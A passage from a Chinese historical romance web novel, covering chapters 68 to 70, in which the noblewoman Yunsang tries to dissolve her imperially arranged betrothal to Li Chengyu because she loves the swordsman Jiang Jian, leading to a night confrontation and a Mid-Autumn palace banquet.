原以为自己还要在亭子里等一会,谁承想石凳都还没坐热,就看见李承钰带着身边的内侍冯安过来了。 云桑立即将弯趴的腰身直了起来,让陪同过来的宫女先退到一边。 她和李承钰的对话可不能让旁人听到。 显然,李承钰也知道这个道理,随身的内侍也让其退到了亭子外,独身走到了自雨亭中。 “世子。” 云桑还记得那时李承钰的脸色有多难看,想着待会要催的事,她深觉艰巨。 李承钰轻嗯了一声,在她对面坐下了,神情淡漠,看得云桑心中微微发紧。 她从未遇到过如此进退两难的局面,面上的难色都要溢出来了。 她不想去一而再再而三地扫对方的面子,但又不得不去做这样的事情。 卯足了劲,云桑强行扯出笑来,迎着李承钰淡漠的脸色试探道:“是这样,时日也不短了,不知英王府何时能返还…婚书和信物?” 云桑斟酌着一字一句道,尽了最大的力气将话说得委婉些,但效果似乎没有多好。 因为在她这句委婉的措辞下,李承钰的脸色更冷了。 “你唤我来就是为了说这个?” 明显是带了些气,李承钰眸光沉静,定定看着她。 云桑咬牙继续道:“是,已经过了好多时日了,世子……” “你就那么想退婚,和他在一起?他到底有什么好,一个趁人之危污你清白的江湖草寇,哪里值得你为他放弃与我家的婚事!” 话没说完,李承钰终于忍不住吭声了,言辞辛辣直白,可见其愤怒与不解。 “他没有趁人之危污我清白,你别乱说。” 下意识就替江见辩解,云桑蹙着眉头看着他,心里也有些气。 如果可以选择,又谁想做一个出身微贱之人呢? 那已经是身为孤儿的江见能走的最好的一条路了,不该受人鄙夷。 还想说什么,就见李承钰在这句话下愣住了,转了转眼珠,神情有一瞬间的怔忪。 有种豁然开朗的情绪在心底蔓延,他哑着嗓子问道:“他真的没有对你……” 话已尽,但其中的意思云桑领会到了。 这种话题本不该同他讨论,但话已经出了口,她也不想被人误会自己与江见无媒苟合,便豁出去了。 “未曾,还请世子莫要歪曲事实,胡言乱语。” 话至此,云桑想说的都说了,没必要继续逗留在这,说了声告退,人离开了自雨亭,只留下在亭中独自发呆的王孙公子。 …… 从宫里回到家,云桑第一件事便是寻江见。 仍然是那簇假山,江见许久未见人,此番来得很快。 “娘子你终于回来了!” 像一只雀跃的鸟儿,少年翩然而至,带着清脆的啼鸣。 云桑今日不是来同他亲近的,她一把推开扑上来的江见,满脸严肃问道:“是不是你杀了伏陶?” 这可不是个小事,万一事情败露,崔御史倒是没有什么性命之忧,江见就不一定了。 陛下那性子,是一定会让挑衅他天子威严的人付出代价的。 凝着少女严肃的眉眼,江见也不掩饰,大剌剌承认了。 “没错,是我,怕你担心一开始便没说。” “我打听过了,那是个招摇撞骗又坑害百姓的奸宦,死得不冤。” 一番话说得风轻云淡,看起来没有丝毫怯意,一副天不怕地不怕的张狂模样。 说话的空档,江见的手又暗戳戳地伸过来,一根小拇指做贼似的勾住了她的,黑眸小心打量着云桑的脸色。 “娘子生气了?不想让我杀他?” 紧绷着的神经被那截手指勾得瞬间散开了,化作长叹。 “不是不想让你杀谁,是这样很危险,若是败露出来陛下那边会追究的。” “很危险的。” 看懂了云桑长吁短叹的原因,江见咧嘴一笑,露出整齐的白牙道:“原来娘子是担心我。” “没事的,只要那个姓崔的御史不说,没人知道,我手脚向来干净。” 云桑这时候生了些跟他抬杠的情绪,故意道:“那要是崔御史把你供出来了呢?” 对于这个问题,江见更果断,直言道:“那他就相当于背叛了我,我会让他付出代价,然后走人。” “那我呢?” 听他一副要逃跑回长亘山的语气,云桑追问道。 江见诧异地看了她一眼,理所当然道:“自然是一起带走啊,娘子你觉得我会丢下你一个人走吗?” “可我家在这,婚也没退,不能跟你走的。” 这话掐住了江见的七寸,一时间将他噎住了。 抓住了关键点的他立即没好气道:“姓李的还没答应退婚?这都多少天了?” “不行,我亲自找他去!” 瞬间气红温的江见转头就要出去跟人家“理论理论”,云桑窥见了他的意图立即从后面抱住了他,急声道:“别去,你去了更是添乱,你再耐心等等。” 好说歹说,再配上一个新鲜出炉的亲亲,总算是将人稳住了,没教他去英王府闹事。 冲动是魔鬼。 第69章 第 69 章 不退 与李承钰宫中一会过的第二日, 云桑终于等来了他的回应。 送来了一封书信和一盒子糕点,压根不是什么婚书,而是他院子里的桂花开了, 让厨房做了桂花糕送到她这。 信件打开, 又是眼熟的花笺, 里面还夹了些细碎的桂花花瓣。 院中丹桂盛放, 馥郁甘甜, 特做了一道仪君最喜爱的桂花糕送来。 字如其人,清隽秀雅, 透着和往昔一般的平和风雅。 可眼下情况已经大不同了,李承钰怎的又重拾他那副风雅做派了? 云桑当即懵了, 也不敢用那盒桂花糕,心中千头万绪。 爹爹回来,云桑立即将自己的满腔苦恼告知了, 傅允拍了拍她的脑袋,叹息着给了一个答案。 “此子怕是无意退婚。” 男女之情是一回事, 他这个岳丈的存在也是一回事。 章懿太子故去了十八年, 储君之位便空悬了十八年,尽管这些年间不少臣工上奏请立太子, 但陛下始终不肯。 陛下的子嗣, 除却章懿太子外,还有二王英王, 三王景王,四王祁王,五王裕王。 陛下子嗣不算多,储君之位必会从这几位中诞生。 英王为如今的长子,虽才能不甚出众, 但胜在宽厚仁德,受百姓爱戴,就算做不出什么建树,但守成却是绰绰有余。 景王圆滑机敏,一惯有几分才思,讨得陛下几分爱重。 祁王是其中性子最为散漫的一个,只求富贵安逸,阖家平安,与哪位兄弟关系都不错。 裕王是其中最急躁的一个,朝中任谁都能看出他的心思,但这样反而适得其反。 当初就是裕王家第一个急不可耐地来傅家提亲,想要拉拢傅允这个要臣,不过被傅允一眼识破回绝了。 傅允想着,也许英王一家也藏着几分小心思吧。 本是两家人的儿女婚事,但有一方是皇家,且这桩婚事还是被陛下赐下来的婚事,便有些不受控了。 “怪爹爹,当初瞧着李承钰是个不错的儿郎,便动了心思,谁知这般难缠。” 在傅允心中,女儿的意愿是第一要紧的,尽管他仍旧觉得李承钰是个不错的女婿,但女儿坚持说不喜欢,他自然不会违背女儿的心意。 “皇家的婚着实是不好退,关键还是在英王府身上,囡囡别担心,爹爹再去再去英王府说说。” 对于这桩意料之外的阻碍,傅允也没想到,凡是染上天家的事情都比较棘手,傅允一时也没有十足的把握了。 若英王府那头就是不松口,这婚事怕是还真得续下去。 “好,爹爹你一定要努力。” 云桑满怀希望道,只希望爹爹能带回来好消息。 当天,英王府送桂花糕这事还是被江见知道了,晚上偷溜进来后一口气将已经凉掉的桂花糕全都嚼进了肚子里,没给云桑留一点。 虽然本来她也没打算吃,但这一幕还是让云桑哭笑不得。 最后爹爹带回来一个不如人意的消息,听得云桑一颗心慢慢沉了下去。 婚仪会如期举行。 该说的,该做的,云桑都厚着脸皮去说了、做了,到最后还是这样的结果。 云桑觉得心像坠入了无底洞,没个着落,让人心神恍惚。 这事自然也瞒不住江见,云桑好说歹说,各种分析利弊,还是没能拦住一腔怒火的江见,就听他留下句“不杀人”,没入了茫茫夜色中。 纵使得了那一句保证,云桑一颗心仍旧放不下去,提着一颗心到了下半夜迷迷糊糊睡着了。 …… 长安城无边夜色中,一道如飞燕般灵巧的白影穿梭其中,微弱的气流被翩飞的衣角带起,除此之外再无任何声响。 江见一路摸到了英王府,仍是惯用的翻墙而入,因为不清楚那厮住在哪,江见颇费了些心思悄悄在王府中摸了一圈。 直到看见一个种着一棵桂树的雅致院落,江见联想到了那封矫情的信,立即确认了地点。 如一阵风般潜入了屋内,一股清寒的气味涌入鼻翼,江见也曾在李承钰身上嗅到过,更加坚信自己找对了地方。 习武之人,纵使黑夜也如白昼,江见一眼扫过,屋内并无人,想起这个点正是人定时分,怕是已经睡下了。 故意弄出了一些动静,果然惊醒了帷帐后的人,长剑划破锦帐,昂贵的锦缎碎裂,在寂静的夜里发出让人耳朵发痒的撕裂声。 细长的剑刃抵在了人最脆弱的脖颈间,凉意刺激得刚被惊醒的李承钰彻底清醒了。 顺着剑身看去,正是个少年人的轮廓,不用看清楚脸,李承钰也知来得是谁。 夜半猝不及防的惊惶慢慢褪去,他心神松弛了许多。 “大半夜不睡觉来我家做起了贼,果然是江湖草寇的做派。” 若是真要杀他,一个照面便杀了,还用磨叽? 更重要的是,他好歹是个皇孙,若真死于他手,某天被追查出来,他也休想好过,更别想同仪君在一起。 李承钰想清这些,心神稳如磐石,还多了几分胆气。 这让揣着一肚子气过来的江见有些稀奇,高看了对方几眼。 至少没有像以前那些人一般痛哭流涕求饶,倒是有些出息。 “就你高贵,不还是不讨人喜欢!” 对上情敌,江见可不会嘴下留情,一句话将人说得没了好脸,心里爽快极了。 “你讨人喜欢有什么用,日后与她成婚的人会是我,你只是个见不得光的人罢了。” 那日在皇宫得知了些事情,李承钰心中胜算又多了几分,自己并非毫无希望。 脖颈间的凉意更甚,显然,这话刺激到了对方,李承钰唇畔染上笑。 “与她退婚,不然我今夜就要了你的命!” 江见被这一句话戳到了肺管子,要不是还留有一丝理智,都想一剑送他归西。 话语中再没一丝明媚暖意,冷硬又森然,恐吓意味十足。 不过李承钰料准了他不敢动手杀他,故而也表现得十分有胆气。 “直接要了我的命不更利落,我死了,婚约不就解了,你怎么不选?” 江见毫无阻碍地看见了李承钰面上的气定神闲,想来也是吃准了他不会乱来。 江见恨得牙痒痒,偏偏还拿这厮没法,又是攒了一肚子气。 “你少得意,只会厚颜无耻绑着不喜欢你的姑娘,觉得很光荣吗?” “她喜欢的是我,少自己哄自己了!” 事到如今,两人都只有一个立足点,而且都很擅长利用这一点来气对方。 效果很好,江见看见他笑不出来了,顿感舒坦了许多。 因为料准江见不会要他的性命,李承钰将垂着的双腿盘起来,如果不是脖颈间横着一柄长剑,那姿态看着分外悠闲。 “人的一生很长,不过是暂时钟情你罢了,又不代表一辈子都喜欢,你怎知我与她完婚过后她不会改变心意钟情我?” “你对她好,我也能对她好,而且我身为皇孙,你给她的我能给,你不能给她的我也能给,你就那么自信她一辈子都不会改变心意?” 一辈子实在太长,谁也不敢说未来会发生什么,更何况是人心这种易变的东西。 江见的心防破了一个大窟窿,他本还想嘴硬的说他能做很多这个矜贵的皇孙不能为娘子做的,譬如洗衣做饭、捶背揉肩这样贴心的事。 但又觉得这些只是些微不足道的小事,人家呼奴唤婢过来就解决了,可能比他做得更好,江见又说不出来了。 “你当真不退婚?” 江见最后问了句,可谓是咬牙切齿。 李承钰将心一横,冷然道:“我守仪君这么多年,若不是出了你这桩意外,被你迷惑,他怎会如此糊涂,合该下月欢欢喜喜嫁我才是。” “不退。” 最后两字铿锵有力,听得江见两鬓青筋直跳。 “你倒是有种,但我告诉你,想娶我的娘子,不可能!” 娘子一词极近亲昵,也足够没规矩,李承钰眉头一拧就要斥他,然迎面就砸来一拳头,直将他砸得眼冒金星,昏了过去,也没力气斥责他了。 …… 长安种植桂树的人家颇多,皇宫中也有一片丹桂林,临近中秋,桂花的冷香便将整个长安城都淹没了。 每日清晨,云桑一开门,便要吸一肺腑的桂香,沉闷的心情总是会好一些。 这些时日,她不死心 地频频约见李承钰,信件都送出去好几封了,总是石沉大海,不见回音。 云桑知道,李承钰就是在避着她,但她却毫无办法。 而两人一人频频送信,一人频频回礼,送些女儿家喜欢的东西,在外人看来都是未婚夫妻间的乐趣罢了。 中秋节官员有三日休沐,十四这日傅允清闲了下来,陪着女儿一道用午饭。 饭桌上有一道云桑最爱吃的酸溜鱼片,可如今看着也没了胃口,只恹恹地吃着菘菜。 傅允心中叹气,一边用银镊子去挑鱼片身上潜藏的细小鱼刺,一边也发愁道:“是爹爹没用,不能给囡囡退了这婚事,英王府若是有过错还好说些,但人家清清正正的,若执意不退,就是到了陛下咱们也不好说。” “不如,囡囡便往好处想想,承钰那孩子总归是不错的,嫁过去总是不差。” 不想辜负爹爹的一番好意,云桑将爹爹挑好的鱼肉都吃了,入口细腻滑嫩,酸辣鲜香。 但往日最喜欢的菜肴并不能让云桑展颜,她味同嚼蜡,两手捧着青瓷碗,露出最柔软的姿态。 “道理我都懂的爹爹,世子是爹爹当年为我千挑万选的郎婿,自然没得说,只是今时不同往日了,假若我没有遇到江见,我怕是就顺顺当当地嫁了他,可现在我满心都是江见,又怎能嫁世子?” 她还给了江见一个承诺,想起那时江见笑逐颜开的模样,云桑愈发不忍了。 不管怎样,她总要试试才行,总不能什么都不做。 “明日是中秋宫宴,若是不想去就在家里歇着,只一条别和那小子胡闹就行。” 傅允觉得女儿此刻怕是没有多少心情去参加那样热闹的宴席,安排温和体贴的同时不忘叮嘱些什么。 傅允也没料到女儿出去一趟能带来这么大的变故,连他都觉得难办。 正是因为他与英王爷一向交好,傅允更不好将话说得太过,事做得太绝。 因为心中已经有了主意,云桑忙不迭摇头。 “不用,明日我随爹爹一道进宫。” …… 饭后,云桑借着消食约着江见在假山那里见了一面。 先说明日宫宴自己有一法子或许可退婚,安抚住了江见,再说起旁的。 “明日是中秋节了,是阖家团圆的日子,但我明日得去宫里,不能陪你了,不过听闻十五的月亮十六圆,咱们后日一同看最圆的月亮吧!” 江见才不会让少女欢欣的眉眼落寞,将人抱在怀里连声应好。 腻歪过一阵后,云桑表示困了要回去午睡,尤其天冷了,窝在床上是一件极其幸福的事。 江见成日生龙活虎的,也不午睡,转眼又出了门,说是出去给她买新出炉的奶团糕,还有她最爱吃的一家梅子蜜饯。 云桑没少劝他别费那个力气,有家仆去就好,但江见不赞同,他说家仆买的和他买的不一样,算不得数,云桑意会他的意思后便不再说了。 随他去吧,反正他也闲得没事干。 …… 李承钰从舅家回来,路过长宁街时问道一股熟悉且霸道的甜滋滋奶香味,记起这是什么吃食,他喊停了车驾,让冯安下去买些。 “仪君爱吃奶团糕,这东西刚出炉的最好,你买了快些送去傅家。” 这段时日自家主子已经不是头一次干这样的事了,冯安废话不多说,利索地过去买了。 嗅着仿佛盈满了街道的奶香味,李承钰陷入了一场幼时的回忆中。 那时仪君才五岁,刚进宫伴读,谁也不熟悉,虽然看着还算镇定,但那双明澈的眼眸中总是藏着一丝怯怯的情绪。 恰逢一日十弟带了一盒子糕点,一股甜腻腻的奶香,是长宁街上的奶团糕,李承钰一惯不爱吃甜腻的。 十弟带的少,便没有分给很多人,这本没什么稀奇的。 但那时李承钰的座位正好在小姑姑的左后方,而仪君就坐在小姑姑左侧,每天都坐得规规矩矩,像个精致的小木偶,鼓着一张白嫩软乎的包子脸听学士讲学,而他只要抬眼便能看到她。 那时他看见仪君少有的露出了类似于垂涎的神色。 是的,垂涎,对着十弟的奶团糕。 但是她遮掩得很快,等他再一抬眼,人又变成了那副端端正正的模样,仿佛刚才都是他的幻觉。 下学后,父王来接他,正遇上同样来接女儿的傅公,两个大人走在前面说笑,李承钰听到傅公说去年仪君吃了太多甜食将牙吃坏了,如今不敢让她乱吃。 李承钰心里乱七八糟地想了一通,故意过了好几日,让冯安去外头买了一大盒子奶团糕,然后带到学堂,说是母妃硬塞给他的,他不大喜欢,便在学堂里散了。 他带得多,学堂里人也多,每人差不多都得了一块。 课间,李承钰看着捧着糕点小口吃起来的仪君,心中流淌着那时他根本不理解的甜暖热流。 这样很好,她既吃上了奶团糕,一块奶团糕份量小,也不会让她蛀牙。 “三哥~” 一声清朗的唤声打破了他的回忆,李承钰扭头一看,是他那个整日如纨绔一般的十弟骑着马过来,笑眯眯地同他打招呼。 “十弟。” 李承钰将飘远的心思收回来,对着李承欢打了声招呼。 他的人缘不差,跟谁的关系都说得过去,尽管两家暗地里风起云涌。 “三哥这是在干嘛?” 前几日皇祖父将他眼馋好几个月的宝马赐给了他,李承欢近来心情不错,隔三岔五地都要骑着他新得的骏马在外头跑几圈。 李承钰瞥了一眼十弟身下的骏马,正是皇祖父今年新得的汗血马,平日喜欢的紧,如今也给了十弟,皇祖父果真对十弟有几分宠爱。 小时候便是这样,当时李承钰不懂,去问母妃,母妃悄悄告诉他,说是因为老十刚出生时模样同他那位夭折的九弟有几分相似,皇祖父爱屋及乌,故此对十弟有些不一般。 “买些糕点回去。” 李承欢瞧了一眼糕点铺是什么,反应了过来,面带笑意地打趣道:“奶团糕,是给仪君小姐带的吧,我记得她似乎爱吃这个。” 这也不是什么秘密,李承钰嗯了一声,一副不大想言语的姿态。 李承欢也觉没劲,策马就要走开,然还没扯一下缰绳,一道十分刺眼的白影从铺子里挤出来,李承欢看清了那少年面容,神情瞬间惊怒。 “是他!” 李承钰也被吸引了注意,循着十弟的目光看过去,面上也倏然间沉了下来。 正是那个江湖草莽,此刻拎着一盒子糕点出来,身上还挂了好几个盒子,看样子不是吃食就是簪钗那种小物件。 至于是给谁买的,李承钰自不用费心想。 第70章 第 70 章 皇权 恰好, 江见眼力很好,自然也看到了李承钰。 那样矫情又风雅的出行排场,也就李承钰了。 本不想搭理他的, 但看着他身边内侍屁颠屁颠拿着一盒糕点也从铺子里出来, 江见就知道这厮又要来献殷勤了, 还和他买一样的糕点。 他觉得很膈应,将身子一扭, 来到了李承钰的车驾前。 至于那个在马上怒视着他的锦衣少年,江见没放在眼里, 只觉得似乎在哪里见过,但记不清了。 径直走到跟前, 笑容灿烂劝道:“世子就别做这等无用功了,又没人吃,浪费钱。” 一击脱离, 江见说完就走,谁也不理。 李承钰倒是没什么, 只脸色有些不好看, 但一旁的李承欢气炸了,反应尤为激烈。 这引起了李承钰的疑惑, 开口问道:“十弟怎的这样气愤?” 虽然武都郡那事已经隔了几个月, 但如今一想起当时那一脚,李承欢痛感好似又回到了身上。 一模一样 的装束, 一模一样的脸,还有那柄眼熟的银色细剑。 这分明就是当初在红袖招痛揍他的人! 但当时的恐惧忽然又涌上了心头,李承欢没敢去追,怕再遭难。 极度波动的情绪下,听三哥问他话, 李承欢也就老老实实答了。 “那人就是在武都郡伤我的江湖剑客,居然还敢来长安!” 想追上去,忽地想起对方武功高强,李承欢又冷静了下来,只脸色不好地看着人没入熙熙攘攘的人群中。 “十弟确定是他吗?” 对于这个十弟在武都郡遭难一事他也有所耳闻,只不过当时只是过了耳,并未在意,如今发现开罪了十弟的人竟是他,李承钰露出一抹笑来。 “自然,那厮化成灰我都认得,就是可惜人走了,有些难寻。” 李承欢正为自己没出息得反应懊恼着,就听到一旁三哥友善道:“无碍,我知道他,正是傅家的……侍卫。” 想起那夜挨的一拳,李承钰眸色一冷,缓缓道。 李承欢神色一愣,继而笑道:“那敢情好,带人上门去要,来了这长安还想好过,非得让他知道我的厉害!” 骄纵跋扈惯了的李承欢扬起恶劣的笑,策马回了王府,准备带些精锐过来讨人。 近黄昏时,傅家迎来了一群不速之客,正是十皇孙李承欢带着景王府的府兵,说是来讨要行刺皇孙的刺客。 不仅报出了武都郡和红袖招的具体地点,还描述了江见的形貌,这让云桑都不敢轻易否决了。 因为江见当时为了被劫持的她真的大闹过红袖招,但行刺十皇孙云桑压根没有印象。、 当时为了逃跑,云桑脑子里都乱哄哄的,除了翠娘那张脸,还有那一场春宫,她什么都没留意。 毕竟是皇孙,傅允先将人请进了正堂,云桑立即去将人捞过来问了。 一问才知,当时红袖招那位长安的贵人正是十皇孙,江见只是顺带把他也打了。 如今就变成行刺了。 云桑立即拿定了主意,这桩行刺怎么都不能认。 认了,不仅江见遭殃,毕竟行刺皇孙的名头可不小,加上这个十皇孙又得今上几分宠爱,怕是爹爹也不好收拾。 且这事虽事出有因,但解释不得,只要一解释江见是为她将十皇孙给打了,爹爹先前给外界的说辞便破了。 说好了是在蜀地养伤的,怎的在武都郡被拐进了花楼,还跟一个江湖人在一块? 无论如何,她得咬死了不能认。 好在爹爹也足够沉稳,就算不知内情也将嘴巴闭得紧紧的,只说家中没有什么江湖来的侍卫,将一切都否认了。 其实傅允想得很简单,他不能让那小子送出去,要不然女儿得伤心成什么样。 后来得知了“行刺”缘由,傅允更不后悔了。 原都是为了女儿,不小心将十皇孙揍了一下,不打紧,不打紧。 李承欢虽得皇祖父偏宠几分,但也没狂到在宰辅面前放肆,带府兵搜宰辅的宅子,被傅允敷衍了一鼻子一眼,李承欢无可奈何地带着外头的府兵离开了。 别让他抓住机会! 父女两也深知十皇孙不会就此善罢甘休,怕是在外头守株待兔,于是勒令江见最近都不许出门。 江见憋屈得浑身上下都难受,但想着不能给娘子家添麻烦,便乖巧应了,只让云桑中秋早点回来,十六也别忘了陪他一起看月亮。 云桑又半喜半忧,总觉得前途迷惘,但她不能丧气,她要为自己拨开迷雾。 “好,到时候咱们对着月亮小酌几盏,再吃些月团~” 少年眼眸亮晶晶地点头,露出欢喜的笑,就好像回到了当初,那段流落在外的时光。 …… 承宁帝生性爱热闹,尤其在章懿太子故去后更甚,除了清明那等踏春游玩的节日,他都会在宫内举办宴席,让王公大臣携着家眷过来同乐。 中秋宫宴晚上才是重头戏,但众臣也不会去得太晚,用过午饭,又小睡了片刻,云桑起身梳洗。 随着天气冷起来,她的身子骨也怠懒了许多,硬是在床上磨叽了一盏茶才起。 想去见见江见,向他告个别,但人来人往她一直未寻到机会,只能先走了。 谨记着娘子的交代,江见一步都没有往外挪,生怕被那什么皇孙拿出把柄又来上门骚扰。 躲在一棵粗壮的柳树后,江见目送着少女翩然离去,心里想的是自己何时才能光明正大地站在娘子身边。 就像以前一样。 手指在腰间的葫芦上打着圈,心中的焦躁却是半分不能减。 不知为何,近来他总有些不好的预感。 中秋大宴,自是比熙宁的的生辰小宴要热闹得多,也嘈杂得多。 一进宫,爹爹便去了同僚那里,云桑也跟着宫女去了熙宁的玉宁殿。 玉宁殿里,不仅有各家千金贵女,还有皇家女眷,乌泱泱的一片,光是问好云桑都问得嗓子发干。 云桑素来人缘不错,一闲下来许多同龄的姑娘便凑上来与她说话,大多都是关切她在蜀地遇刺一事,也想抨击蒋氏来着,但想着这牵扯到长辈之间的糟心事,便住了口。 与往昔一般,话题说着说着转到了姑娘们喜欢的话题上,长安流行的衣衫首饰,胭脂水粉,还有一些新出的美味小食。 可惜的是云桑有个手帕交去岁就嫁到了冀州,除了写些信件过去,两人一时也无法聚在一处。 金阳县主李青嘉姗姗来迟,笑意明媚,春风灿烂。 想来新婚后与上官大夫蜜里调油,身心舒朗。 云桑对上金阳县主倒有些不好意思,旁人或许不知江见的存在,金阳县主的夫婿是上官大夫,夫妻两人夜话时兴许也会谈及她与江见。 察觉到了云桑在瞧她,李青嘉朝着她挤了挤眼,一副什么都知道的模样,看得云桑一阵心慌。 落单的时候,就看见李青嘉坐到了她身边,偷偷向她打听消息。 “你究竟是选我那世子哥哥还是江少侠啊?” 夫妻一体,在李青嘉信誓旦旦地保证下,上官朔也没瞒着自己这个满腹好奇心的妻子,但具体情况他也不算清楚,只知道如今正是一团糟的时候,他那好兄弟甚至没个能露脸的名分。 李青嘉能做出千里追夫的行径,本就是个不拘小节的姑娘,也最热衷刺激又乱哄哄的感情纠缠。 李青嘉声音压得很低,这话只她二人能听见。 尽管如此,云桑还是红了脸,又气又羞的。 “县主就别拿我寻开心了,我也正心烦着呢。” 一听李青嘉这话,云桑就知道上官大夫没少说,好在金阳县主也是一副偷偷帮她遮掩的姿态,想来是自己人。 幼时她们都是在一起读书的,但两人并不算闺中密友,李青嘉只知道傅家仪君是个性子内敛的娴雅淑女,未来会成为她的堂嫂,其余再没有了。 如今却觉得十分有意思,加上眼前这副赏心悦目的容貌,李青嘉以往看过的各种狗血刺激话本子立即在脑袋里盘旋,自顾在那品得津津有味。 自己这一团乱麻还没理清楚,云桑也就不想同金阳县主多说了。 她目光下意识寻觅着李承钰,还是没有完全放弃。 虽然想从陛下那里寻求突破,但如果英王府这边能松口云桑便不用去费劲了。 但对方就好像躲着她似的,总不见他人影。 云桑眼下都分不清李承钰是为了什么了。 为了她,还是为了爹爹的权柄,亦或者两者兼有? 夜幕降临,陛下的宴席也到来了,云桑带着一肚子焦躁之气来到了长庆殿。 实在地说,她心里是非常紧张的,不仅要去面对威严的陛下,还要当着他的面退他家孙子的婚,这显然是个惊险的差事。 这绝对是个下策,但却是云桑如今唯一的路。 因为上策和中策都已经废了,她只能去走最坎坷的下策。 上策是与英王府和谐融洽将婚事退了,中策是她正面拒绝李承钰,伤了他的颜面使他退婚。 但都失败了, 云桑只能想到这下策,请求陛下做主退婚。 事到如今,也只有陛下有这个能耐了。 华灯初上,长庆殿满殿辉煌,云桑随着爹爹落座,看到了一直躲着她的李承钰。 还跟往昔一样,面带俊雅得体的淡笑,仿佛未受任何影响。 今年的中秋宫宴与往年没什么不同,礼节繁琐,内容冗长,云桑无心去看,只想着待会怎么去同陛下说这桩扫她兴的事。 然教坊司的歌舞也叫陛下没了兴致,只见陛下挥了挥手,身边的内监示意那些歌舞伎下去。 “年年都是这般,教坊司也不知换些新花样,都看腻了。” 太常带着教坊司立即告罪,神色惶恐。 承宁帝倒也不是真的想计较,不过就是腻烦了些发发牢骚。 这时,景王站了出来,朝着龙椅上的承宁帝拜道:“父皇说得没错,年年都是这些不够新鲜,不如今年来些有趣的,让在座为父皇献艺,也让儿臣等一众同乐如何?” 本朝民风开放,王公贵族大多通乐舞,寻常宴席上,若是有人吃醉了酒,高歌狂舞也是有的,而那时,无论是主人还是宾客,都会给面子一同上前相和共舞。 只是在中秋宫宴这样的场合,没人敢当着陛下的面放纵罢了。 但稍献乐舞还是可行的,全看陛下的意思了。 此话显然挑起了承宁帝几分兴趣,他乐呵呵地朝着下方看了一圈,朗声道:“老三的提议不错,在座可有要上来露一手给大伙看看的?” “干脆这样,大家伙都别拘束,有什么才能都上来展露一手,得魁首者朕许他一个奖赏!” 这显然是个能在陛下面前表现的好机会,众人摩拳擦掌,跃跃欲试。 但许多人不敢做这个出头鸟,都在观望,第一个人站了出来,正是如今以皇长孙自居的景王世子,李承茂。 章懿太子一家遇难后,年仅八岁的皇长孙李承徽亡故,二皇孙李承茂便常以皇长孙自居,此刻也不客气地站出来。 李承茂擅笛,自信满满地献上了一曲《阳关三叠》,众人听着倒也惬意,纷纷抚掌。 但云桑听着觉得还没有江见吹得好听。 李承茂下去,陆续又有不少人上前,皇孙辈最多,一个接一个上去,也将气氛推到了高潮。 不知怎的,李承茂注意到了一直未有动静的李承钰,笑里藏刀道:“三弟怎的还坐着,瞧瞧咱们兄弟姐妹们都去了,可是一时没想好献什么?” 李承钰琴曲极好,但架不住前面已经有好几位抚琴了,就算是仙音陛下也该听腻了,李承茂想看看这个三弟还能展露些什么。 章懿太子走后,祁王平庸,裕王无心皇权,性子散漫,对他家有威胁的便是二伯英王,尤其二伯家还有个极其出色的世子,这让景王一家都很有危机感。 因而,能让英王府在皇祖父面前丢一点面子,李承茂都觉得值得。 这一番话也引起了众人的注意,承宁帝也看了过来,想着确实自己这个三孙子还没个表示。 目光汇集,李承钰神色未变,只抬眼瞥了瞥傅家席位,起身回道:“回皇祖父,正是在想,如今有了主意,孙儿要为皇祖父及在座舞剑助兴。” 在此之前,虽然各种乐舞轮番上了场,但还未有剑舞,承宁帝年轻时也是个心怀驰骋疆场之意的帝王,一听这话,甚为感兴趣。 “准了。” 大手一挥,承宁帝允准了。 “不过……” 李承钰没有接内侍递来的长剑,继续道:“若只有舞剑,那未免单调,若有乐曲相佐更好。“ 李承钰是有意还是无心云桑是不知的,但最后这个佐曲的人成了她。 也不知陛下什么眼神,一眼扫在了她身上,露出满意的笑。 “正好,那便让傅家姑娘为你佐曲吧!” 承宁帝这话一出,在场的众人都露出了心照不宣的笑意,都是快要成亲的未婚夫妻了,自然没人多嘴,只觉得陛下在调侃这对小年轻。 云桑猝不及防地接到陛下的指令,又是这样的场合,想拒绝都不好开口。 不管心中如何不愿,她面上不显,只飞快收拾好情绪,接过教坊司乐技递来的紫檀月琴,来到了指定位置坐定。 李承钰执着长剑也过来了,不过一个在圆台中央,一个在边缘。 恰好,他今日穿了一身玉白的袍子,除了袖口那些金色云纹不同,那执剑的模样在灯火下瞧着倒与江见有几分相似。 见李承钰已经起了势头,云桑将心中杂念甩出去,选了一首适合剑舞的入阵曲,素手拨动琴弦。 世家公子多习剑法锻体,云桑知道这个风俗,但没想到李承钰学得还不错,虽然跟江见那般带着绝对目的的剑法不同,李承钰更多的是华美飘逸,虽然实用性不强但足够风雅宜人,引人瞩目。 再配上入阵曲这般恢弘磅礴的乐曲,众人只觉相得益彰,精彩绝伦。 就怕回来遇上要弹奏乐曲的宴会,云桑每日都抽空将月琴拿出来练练,这下没白练。 两人仿佛心有灵犀一般,乐曲毕,剑舞也结束了,殿内唯余满堂喝彩。 将琴还给乐伎,云桑丝毫不拖泥带水地下去了,也没理会李承钰最后投来的目光,只英王妃瞧见了,暗中叹气。 她也没想到自己这个儿子还能有这么倔强的时候。 后续又有不少人上来献艺,但承宁帝都觉得不如剑舞,最后的魁首竟稀里糊涂地落到了她和李承钰头上。 “自是你们二人得了魁首,便上前来吧。” 陛下看起来心情很好,云桑觉得自己的胜算也能大些,这是她没想到的机会,也算是误打误撞得来的。 念此,云桑面上带了些欢喜,忐忑又期待地上前了。 “陛下万安。” “皇祖父万安。” 两人并肩行了礼,姿态恭敬。 承宁帝打量着这对俨然一对璧人的年轻人,怎么瞧眼睛怎么舒服。 “作为魁首,你们二人可以向朕要个赏赐,只要朕能给,尽管拿去。” 承宁帝笑意爽朗,平素的威严都散了五分。 没等云桑开口,一旁李承钰便展现了对未婚妻的偏爱与大方,慷慨道:“孙儿没什么想要的,皇祖父只紧着仪君便可。” 如果没有江见,云桑会被对方的姿态感到舒心,、愉悦,但现实并没有如果。 下定了决心,但也给英王府留下了一丝体面,云桑面色诚恳道:“陛下,可否暂时移步偏殿,臣女想要的奖赏不足为外人道。” 当着文武百官的面去退英王府的婚事,成与不成,都重重扫了英王府的颜面,这不是云桑想看到的。 英王和英王妃是个很慈和的长辈,她不忍当堂落了他们的脸面。 此话一出,别说众人好奇,就连承宁帝也好奇了,也是他今日心情好,也就允了这小丫头的要求,思忖后道:“也罢也罢,谁让朕也好奇你这不足为外人道的奖赏,去,为朕准备一盏二陈汤来醒醒酒,送到偏殿。” 承宁帝率先起身,云桑忙跟在了后面,李承钰心绪百转千回,也跟了过去,只面色阴晴难定。 